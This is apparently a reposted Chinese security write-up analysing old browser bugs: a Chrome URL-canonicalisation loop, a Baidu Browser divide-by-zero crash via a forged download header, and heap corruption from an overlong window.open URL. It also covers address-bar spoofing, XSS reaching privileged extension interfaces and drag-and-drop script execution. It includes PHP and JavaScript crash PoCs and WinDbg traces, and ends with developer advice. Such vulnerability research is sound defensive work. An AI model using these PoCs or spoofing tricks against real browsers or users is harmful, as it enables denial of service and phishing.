来源:http://bbs.ichunqiu.com/thread-8956-1-1.html?from=ch
本文转自wooyun知识库
window3:data:text/html,...
....
正是如此,由于阴差阳错我忘了加javascript:,但是不巧Chrome也错把window.open()这个当作了相对路径,更不巧的是它居然搜索到了第二个正斜线/处,并把它后面的内容替换成了window.open。
这也就意味着,从window2开始,他就开始了一直执行同一段代码的不归路,难怪会一直占100%cpu呢。
官方的修复是(REV 168294):
[AppleScript]纯文本查看复制代码
1
2
3
4
5
6
7
8M [url]http://src.chromium.org/viewvc/chrome/trunk/src/url/url_canon_relative.cc?r1=254565&r2=254564&pathrev=254565[/url]
M [url]http://src.chromium.org/viewvc/chrome/trunk/src/url/url_canon_unittest.cc?r1=254565&r2=254564&pathrev=254565[/url]
url_cannon_relative.cc:+
124if(!is_base_hierarchical){
125//Don't allow relative URLsifthebase scheme doesn't supportit.
126returnfalse;
127}
0x03b 百度浏览器下载dos (特殊情况考虑不完善)
HTTP头中,Content-Length可以反映这个请求的实体大小[2],正是如此,下载的时候,下载器可以拿它当个参考,但是HTTP头是我们可以随便定义的,如果我们在服务器上做一个假的下载文件,并且把它的大小指定的非常大,甚至超出硬盘能受得了的大小,或者超出存储下载文件有多大的那个变量的上限会如何呢?
WooYun: 百度浏览器5.0正式版除以零异常永久性拒绝服务
在老版本的百度浏览器中访问此文件:
[AppleScript]纯文本查看复制代码
1
2
3
4
5
6
7
8#!php
header("Content-type: application/octet-stream");//返回的文件
header("Accept-Ranges: bytes");//按照字节大小返回
header("Accept-Length: 500");//返回文件大小
header("Content-Length: 500");//返回文件大小
header("Content-Disposition: attachment; filename=B");//这里客户端的弹出对话框,对应的文件名
?>
当将Accept-Length该成一个超过其unsigned long上限的值时,百度浏览器简单的把其大小修改为了0。
关键是,这个0会在之后被用作计算百分比的分母,于是一个奇葩的现象就会出现:除以0错误。
过程就是如此简单:
[AppleScript]纯文本查看复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19xnet!AcquireAsynHttpService+0x278f2:
5bc5b50283d800sbb eax,0
5bc5b5058944241c mov dword ptr [esp+1Ch],eax
5bc5b50989542418mov dword ptr [esp+18h],edx
5bc5b50d0bc0oreax,eax
5bc5b50f7518jne xnet!AcquireAsynHttpService+0x27919(5bc5b529)
5bc5b5118b4c2418mov ecx,dword ptr [esp+18h] ;文件大小
5bc5b5158b442414mov eax,dword ptr [esp+14h] ;已经下载的大小
5bc5b51933d2xor edx,edx
xnet!AcquireAsynHttpService+0x2790b:
5bc5b51b f7f1diveax,ecx ;0/0
;部分寄存器此时的值:
;eax=00000000ebx=00000000ecx=00000000edx=00000000
5bc5b51d8bd8mov ebx,eax
5bc5b51f8b442410mov eax,dword ptr [esp+10h]
5bc5b523f7f1diveax,ecx
……
5.x版本的浏览器的dmp简单查看一下:
[AppleScript]纯文本查看复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
150:033>!analyze-v
FAULTING_IP:
xnet!AcquireAsynHttpService+2790b
5bc5b51b f7f1diveax,ecx
……(略)
DEFAULT_BUCKET_ID:STATUS_INTEGER_DIVIDE_BY_ZERO
PRIMARY_PROBLEM_CLASS:STATUS_INTEGER_DIVIDE_BY_ZERO
BUGCHECK_STR:APPLICATION_FAULT_STATUS_INTEGER_DIVIDE_BY_ZERO
LAST_CONTROL_TRANSFER:from5bc25b4eto5bc5b51b
STACK_TEXT:
0a67f95c5bc25b4e03684b20666e1dbf0383c019xnet!AcquireAsynHttpService+0x2790b
0a67f9845bc24817000000000000000003707e68xnet+0x25b4e
0a67f9ac5bc2158100000000666e1dbf00000000xnet+0x24817
……(略)
0x03c 百度浏览器堆损坏 (系统因素考虑不当)
由于分给一个程序的栈的大小是有限的,而Chrome接受的URL长度确实无限的,所以为了方便,短url确实可以存在栈中,但是如果url的长度长于一定限度的时候,存到堆里也未尝不可,但是测试一定要完善,依然是百度浏览器5.x的一个问题:
WooYun: 百度浏览器5.0正式版(2.200.0.41563)拒绝服务漏洞
(为了防止一大片都是乱七八糟的数据,以下能省的我全部省略了)
这个可以很明显的显示出来老版本代码搬到新版本来的弊端,以及需要达到一定条件下才触发的漏洞点。漏洞需要:Windows Vista以上,使用主板本4.x以下或 5.0版内核版本2.2.210.42889以下的均可触发。
之前以为是像错误所报一样是BUFFER OVERRUN也就是缓冲区溢出,其实不然,这个是一个奇怪的堆破坏漏洞。
为了防止堆出现奇怪的调试器友好现象,先运行浏览器,然后Attach到进程上,运行PoC,可以发现程序产生了以下异常:
[AppleScript]纯文本查看复制代码
1
2
3
4
5
6
7STATUS_STACK_BUFFER_OVERRUN encountered
(a18.32d4):Break instruction exception-code80000003(firstchance)
eax=00000000ebx=5dab3f30ecx=76470174edx=0973c565esi=00000000edi=001b7281
eip=7646ff55esp=0973c7ac ebp=0973c828iopl=0nvupei pl zr na pe nc
cs=0023ss=002b ds=002b es=002b fs=0053gs=002b efl=00000246
kernel32!UnhandledExceptionFilter+0x5f:
7646ff55cc int3
回溯一下调用栈:
[AppleScript]纯文本查看复制代码
1
2
3
4
5
6
7
80:025>kvn
# ChildEBP RetAddr Args to Child
000973c8285d9e77895dab3f30caa3800a355c7ff5kernel32!UnhandledExceptionFilter+0x5f(FPO:[SEH])
WARNING:Stack unwind informationnotavailable. Following frames may be wrong.
010973cb5c5d79757b001b7281656c696600000000bdlogicmain!BrowserLogicInit+0x198229
020973e8f85d9deb210ccf0020113d0020001b7281bdlogicmain+0x757b
030973e91c5d98d6fb00000001c3d069b20d1e2dc4bdlogicmain!BrowserLogicInit+0x18f5c1
……(略)
查看一下第一个参数,它指向EXCEPTION_POINTERS:
[AppleScript]纯文本查看复制代码
1
20:025>dd5dab3f30
5dab3f305db498a05db498f85d9e7cd01d5be4b5
查看一下异常相关的信息:
[AppleScript]纯文本查看复制代码
1
2
3
4
50:025>.exr5db498a0
ExceptionAddress:5d79757b(bdlogicmain+0x0000757b)
ExceptionCode:c0000409(Stack buffer overflow)
ExceptionFlags:00000001
NumberParameters:0
然后使用它的上下文记录:
[AppleScript]纯文本查看复制代码
1
0:025>.cxr5db498f8
以此为准重新回溯一下栈:
[AppleScript]纯文本查看复制代码
1
2
3
4
5
6
70:025>kv
***Stack traceforlastsetcontext-.thread/.cxr resetsit
ChildEBP RetAddr ArgstoChild
0973e8f85d9deb210ccf0020113d0020001b7281bdlogicmain+0x757b
0973e91c5d98d6fb00000001c3d069b20d1e2dc4bdlogicmain!BrowserLogicInit+0x18f5c1
0973e9b85d98de2d0973ea08c3d06a2600000000bdlogicmain!BrowserLogicInit+0x13e19b
……(略)
貌似崩溃发生在bdlogicmain+0x757b附近,我们在这个函数开头设下断点并仔细查看一下,Let’s rock:
[AppleScript]纯文本查看复制代码
1
bp bdlogicmain+0x7556
重新打开浏览器,运行PoC,这时Debugger停在我们的断点处。我们将前后指令给u出来,得到部分函数信息:
[AppleScript]纯文本查看复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23633b753d8dbdfcefffff lea edi,[ebp-1004h]
633b7543e818fdffff call bdlogicmain+0x7260(633b7260)
633b754883c404addesp,4
633b754b5f pop edi
633b754c85c0test eax,eax
633b754e75a3jne bdlogicmain+0x74f3(633b74f3)
633b75508bb56ce2ffff mov esi,dword ptr [ebp-1D94h]
633b755656push esi ; 参数:size
633b75578d95fcefffff lea edx,[ebp-1004h];这是他分配方式的分水岭:0x1004字节
633b755d52push edx ; 参数:source
633b755e53push ebx ;参数:dest
633b755f ff15c4f46363call dword ptr [bdlogicmain!BrowserLogicInit+0x1cff64(6363f4c4)] ; 调用函数:strncpy
633b75658b4dfc mov ecx,dword ptr [ebp-4]
633b756883c40caddesp,0Ch
633b756b c6441eff00mov byte ptr [esi+ebx-1],0
633b75705e pop esi
633b757133cd xor ecx,ebp
633b757333c0xor eax,eax
633b75755b pop ebx
633b7576e823f82400call bdlogicmain!BrowserLogicInit+0x19783e(63606d9e);崩溃在此
633b757b8be5mov esp,ebp
633b757d5d pop ebp
633b757e c3ret
可以发现有一个strncpy(esi/*size*/, edx/*source, 栈上的内容*/, ebx/*dest, 申请的堆*/);非常可疑,而这个申请的堆则是在其类中使用new后memset成0得到的,其实之前这个memset的时候就已经set错位置了,不过我们先继续,p过+0x1cff64之后查看一下堆:
(*是我的用户名,隐掉了)
[AppleScript]纯文本查看复制代码
01
02
03
04
05
06
07
08
09
100:025>dd11a20020
11a20020656c69662f2f2f3a552f3a4373726573
11a200307061732f71**************6b736544
11a200402f706f74414141414141414141414141
……blablabla
0:025>da11a20020
11a20020"file:///C:/Users/**********/Desk"
11a20040"top/AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
11a20060"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
……blablabla
果不其然,URL的完整内容被复制到堆中了,仔细一看却不是这儿堆溢出了,而是它初始化的问题导致复制错位了。下面是我重新开的一个实例,地址稍有变化,不过不影响结果。Strncpy完毕之后,各寄存器值如下:
[AppleScript]纯文本查看复制代码
1
2
3
4
5eax=00000000ebx=001b7281ecx=0006dca0edx=0975db50esi=0975db50edi=11d50020
eip=68542af4esp=0975cd9c ebp=0975eb54iopl=0nvupei pl nz ac pe nc
cs=0023ss=002b ds=002b es=002b fs=0053gs=002b efl=00000216
MSVCR100!strncpy+0x24:
68542af40f8585000000jne MSVCR100!strncpy+0xaf(68542b7f)[br=1]
查看堆这个地址的信息:
[AppleScript]纯文本查看复制代码
1
2
3
4
5
6
7
8
90:025>!address11d50020
ProcessParametrs007607f0inrange0076000000860000
Environment09e98c48inrange09e100000a210000
11d50000:11d50000-001b8000
Type00020000MEM_PRIVATE
Protect00000004PAGE_READWRITE
State00001000MEM_COMMIT
Usage RegionUsageHeap
Handle07790000
可以看到堆的大小远大于复制的字节数,这样可能就不会是堆溢出了,让我们再看一次堆的内容:
[AppleScript]纯文本查看复制代码
01
02
03
04
05
06
07
08
09
10
110:025>gu
eax=11d50020ebx=11d50020ecx=00000000edx=00414141esi=001b7281edi=001b7281
eip=63617565esp=0975cdac ebp=0975eb54iopl=0nvupei pl zr na pe nc
cs=0023ss=002b ds=002b es=002b fs=0053gs=002b efl=00000246
bdlogicmain+0x7565:
636175658b4dfc mov ecx,dword ptr [ebp-4] ss:002b:0975eb50=a7babf41
0:025>dd11d50020
11d50020656c69662f2f2f3a552f3a4373726573
11d500307061732f71**************6b736544
11d500402f706f74414141414141414141414141
11d5005041414141414141414141414141414141
接着查看一下11d50000处的堆信息,这回我们看到了好玩的东西了,从0x20字节开始,网址居然被写到了堆头部的_HEAP结构,直接覆盖了堆的信息!(其实最开始memset的时候就已经盖了,new之后传来的指针就没给对),这样当堆释放的时候系统就会检测到这个问题,然后报告BUFFER_OVERRUN,但其实只是一个巧合。
由于系统差异,导致函数的走向分支出现了问题,指针的偏移没有正确的写入,在Windows XP之下,偏移被正确的调整了,但是在高版本系统中这个偏移量却没有写对,导致了它直接写到了堆头部,直接破坏了整个堆的结构。
[AppleScript]纯文本查看复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
240:025>dt _HEAP11d50000
ntdll!_HEAP
+0x000Entry:_HEAP_ENTRY
+0x008SegmentSignature:0
+0x00c SegmentFlags:0
+0x010SegmentListEntry:_LIST_ENTRY [0x1b8000-0x1b8000]
+0x018Heap:0x213b4097_HEAP
+0x01c BaseAddress:0x04000000
+0x020NumberOfPages:0x656c6966
+0x024FirstEntry:0x2f2f2f3a _HEAP_ENTRY
+0x028LastValidEntry:0x552f3a43_HEAP_ENTRY
+0x02c NumberOfUnCommittedPages:0x73726573
+0x030NumberOfUnCommittedRanges:0x7061732f
+0x034SegmentAllocatorBackTraceIndex:0x****
+0x036Reserved:0x****
+0x038UCRSegmentList:_LIST_ENTRY [0x********-0x6b736544]
+0x040Flags:0x2f706f74
+0x044ForceFlags:0x41414141
+0x048CompatibilityFlags:0x41414141
+0x04c EncodeFlagMask:0x41414141
+0x050Encoding:_HEAP_ENTRY
+0x058PointerKey:0x41414141
+0x05c Interceptor:0x41414141
…………blabla 后面都是0x41414141
那为什么只会在这样的PoC中出现呢,普通的window.open为什么没有这类问题?bp bdlogicmain+0x7490 在函数开头下断,可以发现原因是百度浏览器使用了一个逻辑,也即<4096的用栈上变量,如果长于4096字节,程序才会试图分配堆并对堆进行错误的写入操作。这个问题出现在新窗口的弹出中,必须是新小窗口才会出现,包括被广告拦截也会出现。
相关问题点:
[AppleScript]纯文本查看复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34636174e7e874fcffff call bdlogicmain+0x7160(63617160)
;函数功能:判断是否要比4096长
636174ec83c41caddesp,1Ch
636174ef85c0test eax,eax
;eax==0:代表长于4096字节
636174f17413je bdlogicmain+0x7506(63617506)
bdlogicmain+0x74f3:
636174f35e pop esi
636174f483c8fforeax,0FFFFFFFFh
636174f75b pop ebx
636174f88b4dfc mov ecx,dword ptr [ebp-4]
636174fb33cd xor ecx,ebp
636174fd e89cf82400call bdlogicmain!BrowserLogicInit+0x19783e(63866d9e)
636175028be5mov esp,ebp
636175045d pop ebp
63617505c3ret
bdlogicmain+0x7506:
636175068db570e2ffff lea esi,[ebp-1D90h]
6361750c8d85fcefffff lea eax,[ebp-1004h]
63617512e8d9f9ffff call bdlogicmain+0x6ef0(63616ef0)
6361751785c0test eax,eax
6361751975d8jne bdlogicmain+0x74f3(636174f3)
……blabla
bdlogicmain+0x7550://长于4096字节时:
636175508bb56ce2ffff mov esi,dword ptr [ebp-1D94h]
6361755656push esi
636175578d95fcefffff lea edx,[ebp-1004h]
6361755d52push edx
6361755e53push ebx
6361755f ff15c4f48963call dword ptr [bdlogicmain!BrowserLogicInit+0x1cff64(6389f4c4)]
636175658b4dfc mov ecx,dword ptr [ebp-4]
Simple PoC:
[AppleScript]纯文本查看复制代码
01
02
03
04
05
06
07
08
09
10
11#!html
var s="A";
var i=1;
for(i=1;i<599559;i++)
s+="A";
alert(1);
window.open(s);
0x03d 新窗口的那些事儿 (逻辑安全不全面)
很多厂商都意识到了一个问题,那就是OnBeforeNavigate2的时候,刚chrome.Load()千万不能改地址栏啊,一定不能改地址栏啊,必须等页面全部加载完才可以,结果主窗口做的天衣无缝,完美无瑕,之后就忘了小窗口的事情。 小窗口怎么产生呢?
[AppleScript]纯文本查看复制代码
1
window.open
这个简单无比,到处可见此类弹窗小广告,被广告拦截的几率非常大,可以忽视
WooYun: 傲游浏览器4.1.2.2000伪造任意网站漏洞
target 但是这个基本就没人拦了,但是蛋疼的是带有url变化的东西都能接上这个,比如anchor,比如form,这个可以参考:
WooYun: 傲游浏览器4.3.0.100 表单请求伪造网站漏洞(可钓鱼)
WooYun: 搜狗浏览器4.2.2.9903任意网站伪造+自有协议下XSS*2
厂商也意识到了,是啊,不加载完不能换地址,一定要到OnDocumentComplete,要到documentComplete()才行,可是唯独忘了程序创建新窗口的时候也不能把地址栏给设置上,这样就导致了很多问题。
因为攻击者弹出来的东西可能并不会去瞎加载一些乱七八糟的网站,他们转而可能在小窗口上运行脚本,脚本执行完之后确实产生了页面完成事件,“但是在这上面执行的javascript:开头的地址肯定是不能替换当前地址的呀,那么还是保持之前的地址好了”,这个逻辑仿佛就是“现在我做的事不对,那么前面做的事一定是正确的”,结果正中攻击者下怀,脏数据写到了页面上,脏地址倒也被当作正确地址留下来了。
0x03e xss导致的更严重的问题 (插件安全不全面)
越来越多的浏览器做了插件,可以让用户自行选择,这是个好事情,因为这样不必让本来只想找个小菜刀做饭的用户一下背了一个核弹发射场回家。大厂商转而大度的把装备扔自己网站上,大家是要杀人越货还是要干什么,尽管自取。
那么浏览器怎么知道用户啥时候要对自己来一发火箭炮?External接口倒是可以满足浏览器这个需求,通过设置可信域,通常就是浏览器自己的插件页地址或者官网,浏览器只在可信域上开放external接口,这样用户就能在厂商那找到并让浏览器安装各个插件了。
但是至少不要来XSS,XSS的奇技淫巧大家掌握的比我多,本来自有协议就跟个核弹发射按钮似的,这XSS一来,直接就把老家送人了,最可怕的是有些浏览器甚至自行关掉了XSS过滤器,导致攻击者只需要做一个payload放到url里就可以让这些权限高的external调用随意的在浏览器里面跑起来。
例如:
WooYun: 360极速安全浏览器存在设计缺陷可导致一序列安全问题
WooYun: 傲游4.3.0.300提示安装任意插件暴露external接口
0x03f 拖拽跨域 (用户行为猜测不全)
一直要用最坏的打算来推测用户能干出来什么出格事儿,这是个事实,之前白帽子爱梅小礼发的拖拽跨域就是个非常一针见血的证明。
本来浏览器的超级拖拽行为只有仨考虑:如果是网址,那么我们就把它打开;如果是文字我们就把它转到搜索里面;如果是图片,我们就开个新窗口让用户自己放大缩小看图片。 万万没想到,还有javascript:和vbscript:这种东西。用户的鼠标可不听使唤,iframe里面一个javascript拖到外面的页面里面,脚本可就在外面执行起来了。
当然,我想着这还不是最猥琐的,这种出其不意的事情,必然有其他地方也能让我们举一反三:标签栏。
试想标签栏在开发的眼里意味着什么?无非两种可能,来的是文字,咱搜索;来的是URL,咱打开。
来的是脚本,那就执行了吧。
0x04 预防&总结
大部分还是从开发的角度来说吧,一定要在页面加载完之后再改变地址,新窗口将地址栏置为about:blank,并在页面有实际的加载之后再改地址;
在刚启动就自动执行的任务一定要保证更严格的可用性,以及要养成良好的编码习惯,释放,引用指针之前一定要确保指针有效,这样可以确保程序不会一启动或者每次做的动作大一点就完全崩溃了;
至于逻辑问题,我觉得这也只好听天由命,自求多福了,只好恳请用户大老爷手下留情,点鼠标慢一点,没事干不要乱拖乱点好了……
参考资料 [1]http://www.w3.org/TR/2008/WD-html5-20080610/web-browsers.html[2]http://tools.ietf.org/html/rfc2616#section-14.13[3] 《挖0day》,爱无言; 应该就是他:http://www.wooyun.org/whitehats/%E7%88%B1%E6%97%A0%E8%A8%80[4]http://illmatics.com/Understanding_the_LFH.pdf